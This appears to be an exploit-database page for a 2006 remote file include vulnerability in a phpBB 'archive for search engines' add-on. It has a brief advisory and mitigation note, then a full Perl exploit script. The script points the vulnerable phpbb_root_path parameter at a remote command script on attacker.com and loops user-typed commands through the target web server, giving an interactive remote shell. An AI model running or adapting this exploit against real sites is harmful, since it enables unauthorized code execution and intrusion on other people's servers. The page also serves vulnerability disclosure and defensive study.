pbpbb archive for search engines Remote File Include Vulnerability

vendor:

pbpbb archive for search engines

by:

Ashiyane Corporation

7,5

CVSS

HIGH

Remote File Include

CWE

Product Name: pbpbb archive for search engines

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: No

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

pbpbb archive for search engines Remote File Include Vulnerability

pbpbb archive for search engines is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary script code in the context of the webserver process. This may facilitate unauthorized access; other attacks are also possible.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability. It is possible to filter out dangerous characters and to limit the size of the input fields.

Source

Exploit-DB raw data:

#!/usr/bin/perl
 
#####################################################################################################
#                                                                                                   #
# pbpbb archive for search engines                                                                  #
#                                                                                                   #
# Class:  Remote File Include Vulnerability                                                         #
#                                                                                                   #
# Patch:  unavailable                                                                               #
#                                                                                                   #
# Date:   2006/10/12                                                                                #
#                                                                                                   #
# Remote: Yes                                                                                       #
#                                                                                                   #
# Type:   high                                                                                      #
#                                                                                                   #
# Site:   http://mambopower.net/       http://www.mambopower.net/downloads/phpbb_searchindexer.zip  #
#                                                                                                   #
#####################################################################################################


use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt";   # <====== Change This Line With Your Personal Script

print "\n";
print "##########################################################################\n";
print "#                                                                        #\n";
print "# pbpbb archive for search engines     Remote File Include Vulnerability #\n";
print "# Bug found By : Ashiyane Corporation                                    #\n";
print "# Email: nima salehi    nima[at]ashiyane.ir                              #\n";
print "# Web Site : www.Ashiyane.ir                                             #\n";
print "#                                                                        #\n";
print "##########################################################################\n";


if (@ARGV < 2)
{
    print "\n Usage: Ashiyane.pl [host] [path] ";
    print "\n EX : Ashiyane.pl www.victim.com /path/  \n\n";
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];
$vul="includes/archive/archive_topic.php?phpbb_root_path="

print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";

print "<Shell> ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";

    print $socket "GET ".$path.$vul.$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "<Shell> ";
    $cmd = <STDIN>;
}

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